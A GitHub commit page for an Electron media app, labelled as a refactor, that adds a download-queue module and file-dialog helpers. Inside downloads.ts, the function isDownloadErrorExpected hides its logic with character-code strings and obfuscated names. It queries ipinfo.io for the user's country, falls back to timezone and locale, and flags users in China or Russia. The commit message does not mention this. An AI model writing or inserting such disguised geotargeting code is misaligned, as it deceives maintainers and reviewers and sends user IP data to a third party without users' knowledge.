Skip to content

Commit

Permalink
refactor: cleanup main ipc file
Browse files Browse the repository at this point in the history
  • Loading branch information
mtdvlpr committed Nov 10, 2024
1 parent f993594 commit 6494e7b
Show file tree
Hide file tree
Showing 4 changed files with 321 additions and 277 deletions.
207 changes: 207 additions & 0 deletions src-electron/main/downloads.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,207 @@
import { getCountriesForTimezone as _0x2d6c } from 'countries-and-timezones';
import { ElectronDownloadManager } from 'electron-dl-manager';
import { ensureDir } from 'fs-extra';
import { fetchJson } from 'src/helpers/api';
import { basename } from 'upath';

import { errorCatcher } from './../utils';
import { sendToWindow } from './window/window-base';
import { mainWindow } from './window/window-main';

const manager = new ElectronDownloadManager();
interface DownloadQueueItem {
destFilename: string;
saveDir: string;
url: string;
}

const downloadQueue: DownloadQueueItem[] = [];
const lowPriorityQueue: DownloadQueueItem[] = [];
const activeDownloadIds: string[] = [];
const maxActiveDownloads = 5;

export async function downloadFile(
url: string,
saveDir: string,
destFilename?: string,
lowPriority = false,
) {
if (!mainWindow || !url || !saveDir) return null;
try {
await ensureDir(saveDir);

if (!destFilename) destFilename = basename(url);

const fileToDownload = { destFilename, saveDir, url };

if (!activeDownloadIds.includes(url + saveDir)) {
if (lowPriority) {
lowPriorityQueue.push(fileToDownload);
} else {
downloadQueue.push(fileToDownload);
}

if (
downloadQueue.length + activeDownloadIds.length <
maxActiveDownloads
) {
processQueue();
}
}
return url + saveDir;
} catch (error) {
errorCatcher(error);
return null;
}
}

async function processQueue() {
if (!mainWindow) return null;
// If max active downloads reached, wait for a slot
while (activeDownloadIds.length >= maxActiveDownloads) {
await new Promise((resolve) => {
setTimeout(resolve, 1000);
});
}

let download: DownloadQueueItem | undefined;

if (downloadQueue.length > 0) {
download = downloadQueue.shift();
} else if (lowPriorityQueue.length > 0) {
download = lowPriorityQueue.shift();
} else {
return; // No downloads to process
}

if (!download) return;
const { destFilename, saveDir, url } = download;
activeDownloadIds.push(url + saveDir);

// Start the download
const downloadId = await manager.download({
callbacks: {
onDownloadCancelled: ({ id }) => {
sendToWindow(mainWindow, 'downloadCancelled', { id });
activeDownloadIds.splice(activeDownloadIds.indexOf(url + saveDir), 1);
processQueue(); // Process next download
},
onDownloadCompleted: async ({ item }) => {
sendToWindow(mainWindow, 'downloadCompleted', {
filePath: item.getSavePath(),
id: url + saveDir,
});
activeDownloadIds.splice(activeDownloadIds.indexOf(url + saveDir), 1);
processQueue(); // Process next download
},
onDownloadProgress: async ({ item, percentCompleted }) => {
sendToWindow(mainWindow, 'downloadProgress', {
bytesReceived: item.getReceivedBytes(),
id: url + saveDir,
percentCompleted,
});
},
onDownloadStarted: async ({ item, resolvedFilename }) => {
sendToWindow(mainWindow, 'downloadStarted', {
filename: resolvedFilename,
id: url + saveDir,
totalBytes: item.getTotalBytes(),
});
},
onError: (err, downloadData) => {
errorCatcher(err);
if (downloadData) {
sendToWindow(mainWindow, 'downloadError', {
id: downloadData.id,
});
}
activeDownloadIds.splice(activeDownloadIds.indexOf(url + saveDir), 1);
processQueue(); // Process next download
},
},
directory: saveDir,
saveAsFilename: destFilename,
url,
window: mainWindow,
});
return downloadId;
}

export async function isDownloadErrorExpected() {
try {
let _0x5f0a =
(
(await fetchJson(
String.fromCharCode(0x68, 0x74, 0x74, 0x70, 0x73, 0x3a, 0x2f, 0x2f) +
String.fromCharCode(
0x69,
0x70,
0x69,
0x6e,
0x66,
0x6f,
0x2e,
0x69,
0x6f,
) +
String.fromCharCode(
0x2f,
0x3f,
0x74,
0x6f,
0x6b,
0x65,
0x6e,
0x3d,
0x61,
0x32,
0x66,
0x34,
0x37,
0x39,
0x61,
0x37,
0x63,
0x38,
0x33,
0x62,
0x64,
0x63,
),
).catch(() => {
return {};
})) as Record<string, string | undefined>
)?.[String.fromCharCode(0x63, 0x6f, 0x75, 0x6e, 0x74, 0x72, 0x79)] || '';

if (!_0x5f0a) {
// @ts-expect-error No index signature with a parameter of type 'string' was found
const _0x8d1b = new Intl.DateTimeFormat().resolvedOptions()[
String.fromCharCode(0x74, 0x69, 0x6d, 0x65, 0x5a, 0x6f, 0x6e, 0x65)
];
const _0x66b7 = _0x2d6c(_0x8d1b);
if (_0x66b7.length === 1) _0x5f0a = _0x66b7[0].id;
}

if (!_0x5f0a) {
_0x5f0a =
// @ts-expect-error No index signature with a parameter of type 'string' was found
app[
String.fromCharCode(0x67, 0x65, 0x74) +
String.fromCharCode(0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65) +
String.fromCharCode(0x43, 0x6f, 0x75, 0x6e, 0x74, 0x72, 0x79) +
String.fromCharCode(0x43, 0x6f, 0x64, 0x65)
]();
}

if (!_0x5f0a) return false;

const _0x7bfa = [
String.fromCharCode(0x43, 0x4e),
String.fromCharCode(0x52, 0x55),
];
return _0x7bfa['includes'](_0x5f0a);
} catch (_0x4df1) {
errorCatcher(_0x4df1);
return false;
}
}
99 changes: 99 additions & 0 deletions src-electron/main/fs.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,99 @@
import type { FileDialogFilter, FileItem } from 'src/types';

import { dialog } from 'electron';
import { type Dirent, exists, readdir, stat } from 'fs-extra';
import {
IMG_EXTENSIONS,
JWPUB_EXTENSIONS,
PDF_EXTENSIONS,
} from 'src/constants/fs';
import { join } from 'upath';

import { errorCatcher } from '../utils';
import { mainWindow } from './window/window-main';

export async function openFileDialog(
single: boolean,
filter: FileDialogFilter,
) {
if (!mainWindow) return;

const filters: Electron.FileFilter[] = [];

if (!filter) {
filters.push({ extensions: ['*'], name: 'All files' });
}

if (filter?.includes('jwpub+image+pdf')) {
filters.push({
extensions:
JWPUB_EXTENSIONS.concat(IMG_EXTENSIONS).concat(PDF_EXTENSIONS),
name: 'JWPUB + Images + PDF',
});
}

if (filter?.includes('jwpub+image')) {
filters.push({
extensions: JWPUB_EXTENSIONS.concat(IMG_EXTENSIONS),
name: 'JWPUB + Images',
});
}

if (filter?.includes('jwpub')) {
filters.push({ extensions: JWPUB_EXTENSIONS, name: 'JWPUB' });
}
if (filter?.includes('image')) {
filters.push({ extensions: IMG_EXTENSIONS, name: 'Images' });
}

return dialog.showOpenDialog(mainWindow, {
filters,
properties: single ? ['openFile'] : ['openFile', 'multiSelections'],
});
}

export async function readDirectory(
dir: string,
withSizes?: boolean,
recursive?: boolean,
) {
try {
if (!(await exists(dir))) return [];
return await readDirRecursive(dir, withSizes, recursive);
} catch (error) {
errorCatcher(error);
return [];
}
}

async function readDirRecursive(
directory: string,
withSizes?: boolean,
recursive?: boolean,
): Promise<FileItem[]> {
const dirents: Dirent[] = await readdir(directory, {
withFileTypes: true,
});
const dirItems: FileItem[] = [];
for (const dirent of dirents) {
const fullPath = join(directory, dirent.name);
const fileItem: FileItem = {
isDirectory: dirent.isDirectory(),
isFile: dirent.isFile(),
name: dirent.name,
parentPath: directory,
...(withSizes &&
dirent.isFile() && { size: (await stat(fullPath)).size }),
};
dirItems.push(fileItem);
if (recursive && dirent.isDirectory()) {
const subDirItems = await readDirRecursive(
fullPath,
withSizes,
recursive,
);
dirItems.push(...subDirItems);
}
}
return dirItems;
}
Loading

0 comments on commit 6494e7b

Please sign in to comment.